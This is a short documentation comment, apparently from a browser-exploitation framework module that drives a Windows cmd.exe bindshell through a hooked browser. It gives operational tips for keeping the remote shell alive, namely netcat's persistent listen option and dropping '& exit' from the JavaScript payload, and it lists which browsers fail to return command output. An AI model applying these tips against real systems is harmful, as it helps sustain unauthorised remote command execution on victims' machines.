=begin
The bindshell is closed once the module has completed. This is necessary otherwise the cmd.exe process will hang. To avoid this issue:
	- use the netcat persistent listen "-L" option rather than the listen "-l" option; or
	- remove the "& exit" portion of the JavaScript payload. Be aware that this will leave redundant cmd.exe processes running on the target system.

Returning the shell command results is not supported in Firefox ~16+, IE, Chrome, Safari and Opera as JavaScript cannot be executed within the bindshell iframe due to content-type restrictions. The shell commands are executed on the target shell however.
